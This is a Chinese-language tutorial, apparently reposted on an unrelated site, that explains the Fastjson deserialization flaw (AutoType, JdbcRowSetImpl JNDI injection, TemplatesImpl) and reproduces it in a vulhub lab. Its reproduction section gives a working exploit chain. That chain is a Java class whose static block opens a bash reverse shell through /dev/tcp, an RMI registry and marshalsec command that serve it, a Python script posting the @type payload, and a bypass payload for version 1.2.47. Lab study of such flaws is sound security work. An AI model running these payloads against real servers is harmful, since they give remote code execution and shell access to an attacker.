Fastjson反序列化原理详解及复现 |
您所在的位置:网站首页 › fastjson反序列化漏洞版本 › Fastjson反序列化原理详解及复现 |
1 环境搭建 本文采用vulhub下的fastjson环境 # docker-compose up -d访问8090端口判断是否能够正常启动 2 Fastjson漏洞原理0x01 Fastjson简介Fastjson为阿里开源的一款json字符串处理库,主要操作包含将java对象转换为json字符串(序列化)以及将json字符串转换为java对象(反序列化) 常用方法 Json.toJSONString,将java对象转换为json字符串 Json.parseObject,将json字符串转换为java对象 0x02 漏洞原理首先看如下伪码示例 interface Animal{ ... } class Cat implements Animal{ public String name; ... } class Dog implements Animal{ public String name; ... }利用Fastjson将Cat和Dog转为Json字符串时,分别为如下情况(假设Cat.name="cat",Dog.name="Dog") {"Animal":{"name":"cat"}}和{"Animal":{"name":"dog"}}无法区分具体类,换言之,当对接口类的子类序列化时,只会显示出接口类的名称,因此,出现AutoType AutoType:在反序列化时指定@type字段,具体区别当前json字符串属于哪一类,添加后,上述字符串变为{"Animal":{"@type":"xxxx.Cat", "name":"cat"}}和{"Animal":{"@type":"xxxx.Dog", "name":"dog"}} 漏洞原理:当使用autotype时,反序列化过程中会调用该类的setter或getter方法,若@type字段被指定为恶意类,即可实现恶意代码执行等攻击 0x03 JdbcRowSetImpl链RMI架构 registry,对外提供查询,维护server的方法映射 server,对外提供服务,注册给registry client,请求远程方法调用,查询registry,调用server提供方法 原理分析 DataSourceName设置为RMI远程调用后,Fastjson反序列化时触发getDataSourceName 由于其中无值,进入setDataSourceName,及setAutoCommit setAutoCommit中调用connect,connect中又调用lookup(DataSourceName),最终实现jndi注入 jndi注入RCE Reference r = new Reference(refClassName, insClassName, url) ReferenceWrapper rw = new ReferenceWrapper(r) registry.bind(name, rw) 当client利用rmi请求资源时,registry给到一个reference,client会先在CLASSPATH中找对应的类(refClassName),找不到则请求url中的资源动态加载(.class),实例化时(insClassName)会调用static{}和构造函数,实现恶意代码执行 0x04 TemplatesImpl链CC链中比较常用的一种,用于动态加载bytecode,实现恶意代码执行,此处不做详细分析 大致原理为从TemplatesImpl.getOutputProperties开始,最终走到defineClass加载字节码,实现类加载,如果加载恶意类,将实现代码执行攻击 3 Fastjson漏洞复现0x01 构建恶意类用于jndi注入import java.lang.Runtime; import java.lang.Process; public class ReverseShell { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"/bin/bahs","-c", "bash -i>& /dev/tcp/ip/port 0>&1"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } }编译为.class文件javac ReverseShell.java 开启http服务,使资源可以外部访问 创建Registry,并开启registry服务 public class myregistry { public static void main(String[] args) { Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("ReverseShell","ReverseShell","http://ip:port"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("ReverseShell",referenceWrapper); } }不知道为什么自己写的没有生效(悲~),最终用的marshalsecjava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip:port/#ReverseShell" 9999 0x02 漏洞利用利用过程如下 kali侦听在对应端口 编写python脚本发送payload(因为java环境导致burp启动不了,所以只能编写python脚本,也可以用burp) import json import requests url = '' headers = { 'Content-Type': 'application/json' } payload = { "b" : { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://ip:port/ReverseShell", "autoCommit": True } } requests.post(url, data=json.dumps(payload), headers=headers) print("done")成功getshell,http、registry请求分别如下 4 其他版本漏洞1.2.47:1.2.24后引入白名单验证,可以通过TypeUtils.loadClass将JdbcRowSetImpl缓存,再执行payload为{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://ip:port/Exploit", "autoCommit":true } }第一个字段用于缓存,第二个字段用于利用 5 防御升级至新版本 |
今日新闻 |
推荐新闻 |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |